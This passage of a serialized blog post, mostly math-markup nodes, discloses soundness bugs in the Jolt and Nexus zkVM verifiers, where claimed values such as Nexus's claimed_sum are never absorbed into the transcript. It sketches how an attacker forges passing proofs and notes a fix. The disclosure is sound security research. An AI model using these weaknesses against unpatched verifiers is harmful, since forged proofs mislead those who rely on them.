tyle":116014},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[116016,116020],{"type":23,"tag":41,"props":116017,"children":116019},{"className":116018,"style":4053},[4052],[],{"type":23,"tag":41,"props":116021,"children":116023},{"className":116022},[4058,4059,4060,4061],[116024],{"type":23,"tag":41,"props":116025,"children":116027},{"className":116026},[4012,4061],[116028],{"type":23,"tag":41,"props":116029,"children":116031},{"className":116030},[4012,28,4061],[116032],{"type":23,"tag":41,"props":116033,"children":116035},{"className":116034},[4012,4061],[116036],{"type":28,"value":116037},"final",{"type":23,"tag":41,"props":116039,"children":116041},{"className":116040},[21731],[116042],{"type":28,"value":21734},{"type":23,"tag":41,"props":116044,"children":116046},{"className":116045},[4038],[116047],{"type":23,"tag":41,"props":116048,"children":116050},{"className":116049,"style":92848},[4043],[116051],{"type":23,"tag":41,"props":116052,"children":116053},{},[],{"type":23,"tag":41,"props":116055,"children":116057},{"className":116056,"style":4190},[4092],[],{"type":23,"tag":41,"props":116059,"children":116061},{"className":116060},[4195],[116062],{"type":28,"value":2381},{"type":23,"tag":41,"props":116064,"children":116066},{"className":116065,"style":4190},[4092],[],{"type":23,"tag":41,"props":116068,"children":116070},{"className":116069},[4001],[116071,116075,116080,116084,116089],{"type":23,"tag":41,"props":116072,"children":116074},{"className":116073,"style":114848},[4006],[],{"type":23,"tag":41,"props":116076,"children":116078},{"className":116077},[4012,21574],[116079],{"type":28,"value":458},{"type":23,"tag":41,"props":116081,"children":116083},{"className":116082,"style":4093},[4092],[],{"type":23,"tag":41,"props":116085,"children":116087},{"className":116086},[4098],[116088],{"type":28,"value":111027},{"type":23,"tag":41,"props":116090,"children":116092},{"className":116091,"style":4093},[4092],[],{"type":23,"tag":41,"props":116094,"children":116096},{"className":116095},[4001],[116097,116101,116106,116110,116115],{"type":23,"tag":41,"props":116098,"children":116100},{"className":116099,"style":114877},[4006],[],{"type":23,"tag":41,"props":116102,"children":116104},{"className":116103,"style":92999},[4012,21574],[116105],{"type":28,"value":93002},{"type":23,"tag":41,"props":116107,"children":116109},{"className":116108,"style":4093},[4092],[],{"type":23,"tag":41,"props":116111,"children":116113},{"className":116112},[4098],[116114],{"type":28,"value":4383},{"type":23,"tag":41,"props":116116,"children":116118},{"className":116117,"style":4093},[4092],[],{"type":23,"tag":41,"props":116120,"children":116122},{"className":116121},[4001],[116123,116127],{"type":23,"tag":41,"props":116124,"children":116126},{"className":116125,"style":92680},[4006],[],{"type":23,"tag":41,"props":116128,"children":116130},{"className":116129},[4012,21574],[116131],{"type":28,"value":3222},{"type":23,"tag":24,"props":116133,"children":116134},{},[116135,116136,116175,116177,116202,116204,116334,116336,116457],{"type":28,"value":115601},{"type":23,"tag":37,"props":116137,"children":116139},{"className":116138},[3984,3985],[116140],{"type":23,"tag":41,"props":116141,"children":116143},{"className":116142},[3990],[116144],{"type":23,"tag":41,"props":116145,"children":116147},{"className":116146,"ariaHidden":3996},[3995],[116148],{"type":23,"tag":41,"props":116149,"children":116151},{"className":116150},[4001],[116152,116156,116161,116166,116170],{"type":23,"tag":41,"props":116153,"children":116155},{"className":116154,"style":114820},[4006],[],{"type":23,"tag":41,"props":116157,"children":116159},{"className":116158},[4012,21574],[116160],{"type":28,"value":458},{"type":23,"tag":41,"props":116162,"children":116164},{"className":116163},[4124],[116165],{"type":28,"value":4127},{"type":23,"tag":41,"props":116167,"children":116169},{"className":116168,"style":4131},[4092],[],{"type":23,"tag":41,"props":116171,"children":116173},{"className":116172},[4012,21574],[116174],{"type":28,"value":3222},{"type":28,"value":116176}," are determined by the transcript (independent of ",{"type":23,"tag":37,"props":116178,"children":116180},{"className":116179},[3984,3985],[116181],{"type":23,"tag":41,"props":116182,"children":116184},{"className":116183},[3990],[116185],{"type":23,"tag":41,"props":116186,"children":116188},{"className":116187,"ariaHidden":3996},[3995],[116189],{"type":23,"tag":41,"props":116190,"children":116192},{"className":116191},[4001],[116193,116197],{"type":23,"tag":41,"props":116194,"children":116196},{"className":116195,"style":21569},[4006],[],{"type":23,"tag":41,"props":116198,"children":116200},{"className":116199,"style":92999},[4012,21574],[116201],{"type":28,"value":93002},{"type":28,"value":116203},"). The verifier checks that ",{"type":23,"tag":37,"props":116205,"children":116207},{"className":116206},[3984,3985],[116208],{"type":23,"tag":41,"props":116209,"children":116211},{"className":116210},[3990],[116212],{"type":23,"tag":41,"props":116213,"children":116215},{"className":116214,"ariaHidden":3996},[3995],[116216,116302],{"type":23,"tag":41,"props":116217,"children":116219},{"className":116218},[4001],[116220,116224,116289,116293,116298],{"type":23,"tag":41,"props":116221,"children":116223},{"className":116222,"style":110762},[4006],[],{"type":23,"tag":41,"props":116225,"children":116227},{"className":116226},[4012],[116228,116233],{"type":23,"tag":41,"props":116229,"children":116231},{"className":116230,"style":22106},[4012,21574],[116232],{"type":28,"value":115994},{"type":23,"tag":41,"props":116234,"children":116236},{"className":116235},[4028],[116237],{"type":23,"tag":41,"props":116238,"children":116240},{"className":116239},[4033,21628],[116241,116278],{"type":23,"tag":41,"props":116242,"children":116244},{"className":116243},[4038],[116245,116273],{"type":23,"tag":41,"props":116246,"children":116248},{"className":116247,"style":116010},[4043],[116249],{"type":23,"tag":41,"props":116250,"children":116251},{"style":116014},[116252,116256],{"type":23,"tag":41,"props":116253,"children":116255},{"className":116254,"style":4053},[4052],[],{"type":23,"tag":41,"props":116257,"children":116259},{"className":116258},[4058,4059,4060,4061],[116260],{"type":23,"tag":41,"props":116261,"children":116263},{"className":116262},[4012,4061],[116264],{"type":23,"tag":41,"props":116265,"children":116267},{"className":116266},[4012,28,4061],[116268],{"type":23,"tag":41,"props":116269,"children":116271},{"className":116270},[4012,4061],[116272],{"type":28,"value":116037},{"type":23,"tag":41,"props":116274,"children":116276},{"className":116275},[21731],[116277],{"type":28,"value":21734},{"type":23,"tag":41,"props":116279,"children":116281},{"className":116280},[4038],[116282],{"type":23,"tag":41,"props":116283,"children":116285},{"className":116284,"style":92848},[4043],[116286],{"type":23,"tag":41,"props":116287,"children":116288},{},[],{"type":23,"tag":41,"props":116290,"children":116292},{"className":116291,"style":4190},[4092],[],{"type":23,"tag":41,"props":116294,"children":116296},{"className":116295},[4195],[116297],{"type":28,"value":2381},{"type":23,"tag":41,"props":116299,"children":116301},{"className":116300,"style":4190},[4092],[],{"type":23,"tag":41,"props":116303,"children":116305},{"className":116304},[4001],[116306,116310,116320,116325],{"type":23,"tag":41,"props":116307,"children":116309},{"className":116308,"style":94178},[4006],[],{"type":23,"tag":41,"props":116311,"children":116313},{"className":116312},[4012,28],[116314],{"type":23,"tag":41,"props":116315,"children":116317},{"className":116316},[4012],[116318],{"type":28,"value":116319},"expected",{"type":23,"tag":41,"props":116321,"children":116323},{"className":116322,"style":92765},[4012],[116324],{"type":28,"value":3084},{"type":23,"tag":41,"props":116326,"children":116328},{"className":116327},[4012,28],[116329],{"type":23,"tag":41,"props":116330,"children":116332},{"className":116331},[4012],[116333],{"type":28,"value":37543},{"type":28,"value":116335}," (from PCS opening), this becomes ",{"type":23,"tag":37,"props":116337,"children":116339},{"className":116338},[3984,3985],[116340],{"type":23,"tag":41,"props":116341,"children":116343},{"className":116342},[3990],[116344],{"type":23,"tag":41,"props":116345,"children":116347},{"className":116346,"ariaHidden":3996},[3995],[116348,116374,116400,116426],{"type":23,"tag":41,"props":116349,"children":116351},{"className":116350},[4001],[116352,116356,116361,116365,116370],{"type":23,"tag":41,"props":116353,"children":116355},{"className":116354,"style":114848},[4006],[],{"type":23,"tag":41,"props":116357,"children":116359},{"className":116358},[4012,21574],[116360],{"type":28,"value":458},{"type":23,"tag":41,"props":116362,"children":116364},{"className":116363,"style":4093},[4092],[],{"type":23,"tag":41,"props":116366,"children":116368},{"className":116367},[4098],[116369],{"type":28,"value":111027},{"type":23,"tag":41,"props":116371,"children":116373},{"className":116372,"style":4093},[4092],[],{"type":23,"tag":41,"props":116375,"children":116377},{"className":116376},[4001],[116378,116382,116387,116391,116396],{"type":23,"tag":41,"props":116379,"children":116381},{"className":116380,"style":114877},[4006],[],{"type":23,"tag":41,"props":116383,"children":116385},{"className":116384,"style":92999},[4012,21574],[116386],{"type":28,"value":93002},{"type":23,"tag":41,"props":116388,"children":116390},{"className":116389,"style":4093},[4092],[],{"type":23,"tag":41,"props":116392,"children":116394},{"className":116393},[4098],[116395],{"type":28,"value":4383},{"type":23,"tag":41,"props":116397,"children":116399},{"className":116398,"style":4093},[4092],[],{"type":23,"tag":41,"props":116401,"children":116403},{"className":116402},[4001],[116404,116408,116413,116417,116422],{"type":23,"tag":41,"props":116405,"children":116407},{"className":116406,"style":92680},[4006],[],{"type":23,"tag":41,"props":116409,"children":116411},{"className":116410},[4012,21574],[116412],{"type":28,"value":3222},{"type":23,"tag":41,"props":116414,"children":116416},{"className":116415,"style":4190},[4092],[],{"type":23,"tag":41,"props":116418,"children":116420},{"className":116419},[4195],[116421],{"type":28,"value":2381},{"type":23,"tag":41,"props":116423,"children":116425},{"className":116424,"style":4190},[4092],[],{"type":23,"tag":41,"props":116427,"children":116429},{"className":116428},[4001],[116430,116434,116443,116448],{"type":23,"tag":41,"props":116431,"children":116433},{"className":116432,"style":94178},[4006],[],{"type":23,"tag":41,"props":116435,"children":116437},{"className":116436},[4012,28],[116438],{"type":23,"tag":41,"props":116439,"children":116441},{"className":116440},[4012],[116442],{"type":28,"value":116319},{"type":23,"tag":41,"props":116444,"children":116446},{"className":116445,"style":92765},[4012],[116447],{"type":28,"value":3084},{"type":23,"tag":41,"props":116449,"children":116451},{"className":116450},[4012,28],[116452],{"type":23,"tag":41,"props":116453,"children":116455},{"className":116454},[4012],[116456],{"type":28,"value":37543},{"type":28,"value":706},{"type":23,"tag":24,"props":116459,"children":116460},{},[116461],{"type":28,"value":116462},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":116464,"children":116465},{},[116466],{"type":28,"value":116467},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":116469,"children":116470},{},[116471,116476,116478],{"type":23,"tag":510,"props":116472,"children":116473},{},[116474],{"type":28,"value":116475},"Status:",{"type":28,"value":116477}," Fixed on October 3, 2025 via ",{"type":23,"tag":458,"props":116479,"children":116482},{"href":116480,"rel":116481},"https://github.com/a16z/jolt/pull/981",[462],[116483],{"type":28,"value":116484},"PR #981",{"type":23,"tag":442,"props":116486,"children":116487},{},[],{"type":23,"tag":546,"props":116489,"children":116491},{"id":116490},"nexus",[116492],{"type":28,"value":107584},{"type":23,"tag":24,"props":116494,"children":116495},{},[116496],{"type":28,"value":116497},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":116499,"children":116500},{},[116501,116503,116508],{"type":28,"value":116502},"Nexus splits verification into ",{"type":23,"tag":510,"props":116504,"children":116505},{},[116506],{"type":28,"value":116507},"components",{"type":28,"value":116509}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":116511,"children":116512},{},[116513,116515,116520],{"type":28,"value":116514},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":37,"props":116516,"children":116518},{"className":116517},[],[116519],{"type":28,"value":114629},{"type":28,"value":116521}," summarizes its net contribution:",{"type":23,"tag":24,"props":116523,"children":116524},{},[116525],{"type":23,"tag":37,"props":116526,"children":116528},{"className":116527},[3984,3985],[116529],{"type":23,"tag":41,"props":116530,"children":116532},{"className":116531},[3990],[116533],{"type":23,"tag":41,"props":116534,"children":116536},{"className":116535,"ariaHidden":3996},[3995],[116537,116633,116882],{"type":23,"tag":41,"props":116538,"children":116540},{"className":116539},[4001],[116541,116545,116554,116559,116620,116624,116629],{"type":23,"tag":41,"props":116542,"children":116544},{"className":116543,"style":94178},[4006],[],{"type":23,"tag":41,"props":116546,"children":116548},{"className":116547},[4012,28],[116549],{"type":23,"tag":41,"props":116550,"children":116552},{"className":116551},[4012],[116553],{"type":28,"value":113858},{"type":23,"tag":41,"props":116555,"children":116557},{"className":116556,"style":92765},[4012],[116558],{"type":28,"value":3084},{"type":23,"tag":41,"props":116560,"children":116562},{"className":116561},[4012],[116563,116572],{"type":23,"tag":41,"props":116564,"children":116566},{"className":116565},[4012,28],[116567],{"type":23,"tag":41,"props":116568,"children":116570},{"className":116569},[4012],[116571],{"type":28,"value":76627},{"type":23,"tag":41,"props":116573,"children":116575},{"className":116574},[4028],[116576],{"type":23,"tag":41,"props":116577,"children":116579},{"className":116578},[4033,21628],[116580,116609],{"type":23,"tag":41,"props":116581,"children":116583},{"className":116582},[4038],[116584,116604],{"type":23,"tag":41,"props":116585,"children":116587},{"className":116586,"style":93294},[4043],[116588],{"type":23,"tag":41,"props":116589,"children":116590},{"style":113895},[116591,116595],{"type":23,"tag":41,"props":116592,"children":116594},{"className":116593,"style":4053},[4052],[],{"type":23,"tag":41,"props":116596,"children":116598},{"className":116597},[4058,4059,4060,4061],[116599],{"type":23,"tag":41,"props":116600,"children":116602},{"className":116601},[4012,21574,4061],[116603],{"type":28,"value":3737},{"type":23,"tag":41,"props":116605,"children":116607},{"className":116606},[21731],[116608],{"type":28,"value":21734},{"type":23,"tag":41,"props":116610,"children":116612},{"className":116611},[4038],[116613],{"type":23,"tag":41,"props":116614,"children":116616},{"className":116615,"style":92848},[4043],[116617],{"type":23,"tag":41,"props":116618,"children":116619},{},[],{"type":23,"tag":41,"props":116621,"children":116623},{"className":116622,"style":4190},[4092],[],{"type":23,"tag":41,"props":116625,"children":116627},{"className":116626},[4195],[116628],{"type":28,"value":2381},{"type":23,"tag":41,"props":116630,"children":116632},{"className":116631,"style":4190},[4092],[],{"type":23,"tag":41,"props":116634,"children":116636},{"className":116635},[4001],[116637,116642,116699,116703,116869,116873,116878],{"type":23,"tag":41,"props":116638,"children":116641},{"className":116639,"style":116640},[4006],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":41,"props":116643,"children":116645},{"className":116644},[21610],[116646,116651],{"type":23,"tag":41,"props":116647,"children":116649},{"className":116648,"style":21617},[21610,21615,21616],[116650],{"type":28,"value":108560},{"type":23,"tag":41,"props":116652,"children":116654},{"className":116653},[4028],[116655],{"type":23,"tag":41,"props":116656,"children":116658},{"className":116657},[4033,21628],[116659,116688],{"type":23,"tag":41,"props":116660,"children":116662},{"className":116661},[4038],[116663,116683],{"type":23,"tag":41,"props":116664,"children":116666},{"className":116665,"style":113972},[4043],[116667],{"type":23,"tag":41,"props":116668,"children":116669},{"style":21641},[116670,116674],{"type":23,"tag":41,"props":116671,"children":116673},{"className":116672,"style":4053},[4052],[],{"type":23,"tag":41,"props":116675,"children":116677},{"className":116676},[4058,4059,4060,4061],[116678],{"type":23,"tag":41,"props":116679,"children":116681},{"className":116680,"style":113988},[4012,21574,4061],[116682],{"type":28,"value":8654},{"type":23,"tag":41,"props":116684,"children":116686},{"className":116685},[21731],[116687],{"type":28,"value":21734},{"type":23,"tag":41,"props":116689,"children":116691},{"className":116690},[4038],[116692],{"type":23,"tag":41,"props":116693,"children":116695},{"className":116694,"style":114003},[4043],[116696],{"type":23,"tag":41,"props":116697,"children":116698},{},[],{"type":23,"tag":41,"props":116700,"children":116702},{"className":116701,"style":4131},[4092],[],{"type":23,"tag":41,"props":116704,"children":116706},{"className":116705},[4012],[116707,116711,116865],{"type":23,"tag":41,"props":116708,"children":116710},{"className":116709},[21703,113283],[],{"type":23,"tag":41,"props":116712,"children":116714},{"className":116713},[113288],[116715],{"type":23,"tag":41,"props":116716,"children":116718},{"className":116717},[4033,21628],[116719,116853],{"type":23,"tag":41,"props":116720,"children":116722},{"className":116721},[4038],[116723,116848],{"type":23,"tag":41,"props":116724,"children":116726},{"className":116725,"style":113301},[4043],[116727,116817,116828],{"type":23,"tag":41,"props":116728,"children":116729},{"style":113305},[116730,116734],{"type":23,"tag":41,"props":116731,"children":116733},{"className":116732,"style":111936},[4052],[],{"type":23,"tag":41,"props":116735,"children":116737},{"className":116736},[4058,4059,4060,4061],[116738],{"type":23,"tag":41,"props":116739,"children":116741},{"className":116740},[4012,4061],[116742,116747,116752],{"type":23,"tag":41,"props":116743,"children":116745},{"className":116744,"style":113322},[4012,21574,4061],[116746],{"type":28,"value":113325},{"type":23,"tag":41,"props":116748,"children":116750},{"className":116749},[4098,4061],[116751],{"type":28,"value":4072},{"type":23,"tag":41,"props":116753,"children":116755},{"className":116754},[4012,4061],[116756,116766],{"type":23,"tag":41,"props":116757,"children":116759},{"className":116758},[4012,28,4061],[116760],{"type":23,"tag":41,"props":116761,"children":116763},{"className":116762},[4012,4061],[116764],{"type":28,"value":116765},"produced",{"type":23,"tag":41,"props":116767,"children":116769},{"className":116768},[4028],[116770],{"type":23,"tag":41,"props":116771,"children":116773},{"className":116772},[4033,21628],[116774,116805],{"type":23,"tag":41,"props":116775,"children":116777},{"className":116776},[4038],[116778,116800],{"type":23,"tag":41,"props":116779,"children":116782},{"className":116780,"style":116781},[4043],"height:0.2052em;",[116783],{"type":23,"tag":41,"props":116784,"children":116786},{"style":116785},"top:-2.2341em;margin-right:0.0714em;",[116787,116791],{"type":23,"tag":41,"props":116788,"children":116790},{"className":116789,"style":108625},[4052],[],{"type":23,"tag":41,"props":116792,"children":116794},{"className":116793},[4058,108630,108631,4061],[116795],{"type":23,"tag":41,"props":116796,"children":116798},{"className":116797,"style":113988},[4012,21574,4061],[116799],{"type":28,"value":8654},{"type":23,"tag":41,"props":116801,"children":116803},{"className":116802},[21731],[116804],{"type":28,"value":21734},{"type":23,"tag":41,"props":116806,"children":116808},{"className":116807},[4038],[116809],{"type":23,"tag":41,"props":116810,"children":116813},{"className":116811,"style":116812},[4043],"height:0.4048em;",[116814],{"type":23,"tag":41,"props":116815,"children":116816},{},[],{"type":23,"tag":41,"props":116818,"children":116819},{"style":113338},[116820,116824],{"type":23,"tag":41,"props":116821,"children":116823},{"className":116822,"style":111936},[4052],[],{"type":23,"tag":41,"props":116825,"children":116827},{"className":116826,"style":113348},[113347],[],{"type":23,"tag":41,"props":116829,"children":116830},{"style":113352},[116831,116835],{"type":23,"tag":41,"props":116832,"children":116834},{"className":116833,"style":111936},[4052],[],{"type":23,"tag":41,"props":116836,"children":116838},{"className":116837},[4058,4059,4060,4061],[116839],{"type":23,"tag":41,"props":116840,"children":116842},{"className":116841},[4012,4061],[116843],{"type":23,"tag":41,"props":116844,"children":116846},{"className":116845},[4012,4061],[116847],{"type":28,"value":317},{"type":23,"tag":41,"props":116849,"children":116851},{"className":116850},[21731],[116852],{"type":28,"value":21734},{"type":23,"tag":41,"props":116854,"children":116856},{"className":116855},[4038],[116857],{"type":23,"tag":41,"props":116858,"children":116861},{"className":116859,"style":116860},[4043],"height:0.6283em;",[116862],{"type":23,"tag":41,"props":116863,"children":116864},{},[],{"type":23,"tag":41,"props":116866,"children":116868},{"className":116867},[21725,113283],[],{"type":23,"tag":41,"props":116870,"children":116872},{"className":116871,"style":4093},[4092],[],{"type":23,"tag":41,"props":116874,"children":116876},{"className":116875},[4098],[116877],{"type":28,"value":4072},{"type":23,"tag":41,"props":116879,"children":116881},{"className":116880,"style":4093},[4092],[],{"type":23,"tag":41,"props":116883,"children":116885},{"className":116884},[4001],[116886,116890,116947,116951],{"type":23,"tag":41,"props":116887,"children":116889},{"className":116888,"style":114197},[4006],[],{"type":23,"tag":41,"props":116891,"children":116893},{"className":116892},[21610],[116894,116899],{"type":23,"tag":41,"props":116895,"children":116897},{"className":116896,"style":21617},[21610,21615,21616],[116898],{"type":28,"value":108560},{"type":23,"tag":41,"props":116900,"children":116902},{"className":116901},[4028],[116903],{"type":23,"tag":41,"props":116904,"children":116906},{"className":116905},[4033,21628],[116907,116936],{"type":23,"tag":41,"props":116908,"children":116910},{"className":116909},[4038],[116911,116931],{"type":23,"tag":41,"props":116912,"children":116914},{"className":116913,"style":113437},[4043],[116915],{"type":23,"tag":41,"props":116916,"children":116917},{"style":21641},[116918,116922],{"type":23,"tag":41,"props":116919,"children":116921},{"className":116920,"style":4053},[4052],[],{"type":23,"tag":41,"props":116923,"children":116925},{"className":116924},[4058,4059,4060,4061],[116926],{"type":23,"tag":41,"props":116927,"children":116929},{"className":116928,"style":94194},[4012,21574,4061],[116930],{"type":28,"value":88678},{"type":23,"tag":41,"props":116932,"children":116934},{"className":116933},[21731],[116935],{"type":28,"value":21734},{"type":23,"tag":41,"props":116937,"children":116939},{"className":116938},[4038],[116940],{"type":23,"tag":41,"props":116941,"children":116943},{"className":116942,"style":114252},[4043],[116944],{"type":23,"tag":41,"props":116945,"children":116946},{},[],{"type":23,"tag":41,"props":116948,"children":116950},{"className":116949,"style":4131},[4092],[],{"type":23,"tag":41,"props":116952,"children":116954},{"className":116953},[4012],[116955,116959,117109],{"type":23,"tag":41,"props":116956,"children":116958},{"className":116957},[21703,113283],[],{"type":23,"tag":41,"props":116960,"children":116962},{"className":116961},[113288],[116963],{"type":23,"tag":41,"props":116964,"children":116966},{"className":116965},[4033,21628],[116967,117098],{"type":23,"tag":41,"props":116968,"children":116970},{"className":116969},[4038],[116971,117093],{"type":23,"tag":41,"props":116972,"children":116974},{"className":116973,"style":113301},[4043],[116975,117062,117073],{"type":23,"tag":41,"props":116976,"children":116977},{"style":113305},[116978,116982],{"type":23,"tag":41,"props":116979,"children":116981},{"className":116980,"style":111936},[4052],[],{"type":23,"tag":41,"props":116983,"children":116985},{"className":116984},[4058,4059,4060,4061],[116986],{"type":23,"tag":41,"props":116987,"children":116989},{"className":116988},[4012,4061],[116990,116995,117000],{"type":23,"tag":41,"props":116991,"children":116993},{"className":116992,"style":113322},[4012,21574,4061],[116994],{"type":28,"value":113325},{"type":23,"tag":41,"props":116996,"children":116998},{"className":116997},[4098,4061],[116999],{"type":28,"value":4072},{"type":23,"tag":41,"props":117001,"children":117003},{"className":117002},[4012,4061],[117004,117014],{"type":23,"tag":41,"props":117005,"children":117007},{"className":117006},[4012,28,4061],[117008],{"type":23,"tag":41,"props":117009,"children":117011},{"className":117010},[4012,4061],[117012],{"type":28,"value":117013},"consumed",{"type":23,"tag":41,"props":117015,"children":117017},{"className":117016},[4028],[117018],{"type":23,"tag":41,"props":117019,"children":117021},{"className":117020},[4033,21628],[117022,117051],{"type":23,"tag":41,"props":117023,"children":117025},{"className":117024},[4038],[117026,117046],{"type":23,"tag":41,"props":117027,"children":117029},{"className":117028,"style":112097},[4043],[117030],{"type":23,"tag":41,"props":117031,"children":117032},{"style":114342},[117033,117037],{"type":23,"tag":41,"props":117034,"children":117036},{"className":117035,"style":108625},[4052],[],{"type":23,"tag":41,"props":117038,"children":117040},{"className":117039},[4058,108630,108631,4061],[117041],{"type":23,"tag":41,"props":117042,"children":117044},{"className":117043,"style":94194},[4012,21574,4061],[117045],{"type":28,"value":88678},{"type":23,"tag":41,"props":117047,"children":117049},{"className":117048},[21731],[117050],{"type":28,"value":21734},{"type":23,"tag":41,"props":117052,"children":117054},{"className":117053},[4038],[117055],{"type":23,"tag":41,"props":117056,"children":117058},{"className":117057,"style":114369},[4043],[117059],{"type":23,"tag":41,"props":117060,"children":117061},{},[],{"type":23,"tag":41,"props":117063,"children":117064},{"style":113338},[117065,117069],{"type":23,"tag":41,"props":117066,"children":117068},{"className":117067,"style":111936},[4052],[],{"type":23,"tag":41,"props":117070,"children":117072},{"className":117071,"style":113348},[113347],[],{"type":23,"tag":41,"props":117074,"children":117075},{"style":113352},[117076,117080],{"type":23,"tag":41,"props":117077,"children":117079},{"className":117078,"style":111936},[4052],[],{"type":23,"tag":41,"props":117081,"children":117083},{"className":117082},[4058,4059,4060,4061],[117084],{"type":23,"tag":41,"props":117085,"children":117087},{"className":117086},[4012,4061],[117088],{"type":23,"tag":41,"props":117089,"children":117091},{"className":117090},[4012,4061],[117092],{"type":28,"value":317},{"type":23,"tag":41,"props":117094,"children":117096},{"className":117095},[21731],[117097],{"type":28,"value":21734},{"type":23,"tag":41,"props":117099,"children":117101},{"className":117100},[4038],[117102],{"type":23,"tag":41,"props":117103,"children":117105},{"className":117104,"style":114417},[4043],[117106],{"type":23,"tag":41,"props":117107,"children":117108},{},[],{"type":23,"tag":41,"props":117110,"children":117112},{"className":117111},[21725,113283],[],{"type":23,"tag":24,"props":117114,"children":117115},{},[117116,117118,117123],{"type":28,"value":117117},"All ",{"type":23,"tag":37,"props":117119,"children":117121},{"className":117120},[],[117122],{"type":28,"value":114629},{"type":28,"value":117124}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":117126,"children":117127},{},[117128,117130,117135],{"type":28,"value":117129},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":510,"props":117131,"children":117132},{},[117133],{"type":28,"value":117134},"OODS (Out-of-Domain Sampling)",{"type":28,"value":117136}," test.",{"type":23,"tag":24,"props":117138,"children":117139},{},[117140],{"type":23,"tag":510,"props":117141,"children":117142},{},[117143],{"type":28,"value":115181},{"type":23,"tag":31,"props":117145,"children":117147},{"code":117146},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[117148],{"type":23,"tag":37,"props":117149,"children":117150},{"__ignoreMap":7},[117151],{"type":28,"value":117146},{"type":23,"tag":24,"props":117153,"children":117154},{},[117155,117157,117162],{"type":28,"value":117156},"The",{"type":23,"tag":37,"props":117158,"children":117160},{"className":117159},[],[117161],{"type":28,"value":114629},{"type":28,"value":117163}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":117165,"children":117166},{},[117167],{"type":23,"tag":3918,"props":117168,"children":117171},{"alt":117169,"src":117170},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":117173,"children":117174},{},[117175,117177,117186],{"type":28,"value":117176},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":510,"props":117178,"children":117179},{},[117180,117181],{"type":28,"value":111636},{"type":23,"tag":37,"props":117182,"children":117184},{"className":117183},[],[117185],{"type":28,"value":114629},{"type":28,"value":1474},{"type":23,"tag":24,"props":117188,"children":117189},{},[117190],{"type":28,"value":117191},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":117193,"children":117194},{},[117195],{"type":23,"tag":37,"props":117196,"children":117198},{"className":117197},[3984,3985],[117199],{"type":23,"tag":41,"props":117200,"children":117202},{"className":117201},[3990],[117203],{"type":23,"tag":41,"props":117204,"children":117206},{"className":117205,"ariaHidden":3996},[3995],[117207,117248,117387],{"type":23,"tag":41,"props":117208,"children":117210},{"className":117209},[4001],[117211,117215,117220,117225,117230,117235,117239,117244],{"type":23,"tag":41,"props":117212,"children":117214},{"className":117213,"style":4113},[4006],[],{"type":23,"tag":41,"props":117216,"children":117218},{"className":117217,"style":22106},[4012,21574],[117219],{"type":28,"value":115994},{"type":23,"tag":41,"props":117221,"children":117223},{"className":117222},[21703],[117224],{"type":28,"value":1737},{"type":23,"tag":41,"props":117226,"children":117228},{"className":117227},[4012,21574],[117229],{"type":28,"value":19263},{"type":23,"tag":41,"props":117231,"children":117233},{"className":117232},[21725],[117234],{"type":28,"value":2678},{"type":23,"tag":41,"props":117236,"children":117238},{"className":117237,"style":4190},[4092],[],{"type":23,"tag":41,"props":117240,"children":117242},{"className":117241},[4195],[117243],{"type":28,"value":2381},{"type":23,"tag":41,"props":117245,"children":117247},{"className":117246,"style":4190},[4092],[],{"type":23,"tag":41,"props":117249,"children":117251},{"className":117250},[4001],[117252,117256,117313,117317,117374,117378,117383],{"type":23,"tag":41,"props":117253,"children":117255},{"className":117254,"style":115398},[4006],[],{"type":23,"tag":41,"props":117257,"children":117259},{"className":117258},[21610],[117260,117265],{"type":23,"tag":41,"props":117261,"children":117263},{"className":117262,"style":21617},[21610,21615,21616],[117264],{"type":28,"value":108560},{"type":23,"tag":41,"props":117266,"children":117268},{"className":117267},[4028],[117269],{"type":23,"tag":41,"props":117270,"children":117272},{"className":117271},[4033,21628],[117273,117302],{"type":23,"tag":41,"props":117274,"children":117276},{"className":117275},[4038],[117277,117297],{"type":23,"tag":41,"props":117278,"children":117280},{"className":117279,"style":113972},[4043],[117281],{"type":23,"tag":41,"props":117282,"children":117283},{"style":21641},[117284,117288],{"type":23,"tag":41,"props":117285,"children":117287},{"className":117286,"style":4053},[4052],[],{"type":23,"tag":41,"props":117289,"children":117291},{"className":117290},[4058,4059,4060,4061],[117292],{"type":23,"tag":41,"props":117293,"children":117295},{"className":117294},[4012,21574,4061],[117296],{"type":28,"value":3737},{"type":23,"tag":41,"props":117298,"children":117300},{"className":117299},[21731],[117301],{"type":28,"value":21734},{"type":23,"tag":41,"props":117303,"children":117305},{"className":117304},[4038],[117306],{"type":23,"tag":41,"props":117307,"children":117309},{"className":117308,"style":114252},[4043],[117310],{"type":23,"tag":41,"props":117311,"children":117312},{},[],{"type":23,"tag":41,"props":117314,"children":117316},{"className":117315,"style":4131},[4092],[],{"type":23,"tag":41,"props":117318,"children":117320},{"className":117319},[4012],[117321,117326],{"type":23,"tag":41,"props":117322,"children":117324},{"className":117323,"style":114853},[4012,21574],[117325],{"type":28,"value":114856},{"type":23,"tag":41,"props":117327,"children":117329},{"className":117328},[4028],[117330],{"type":23,"tag":41,"props":117331,"children":117333},{"className":117332},[4033,21628],[117334,117363],{"type":23,"tag":41,"props":117335,"children":117337},{"className":117336},[4038],[117338,117358],{"type":23,"tag":41,"p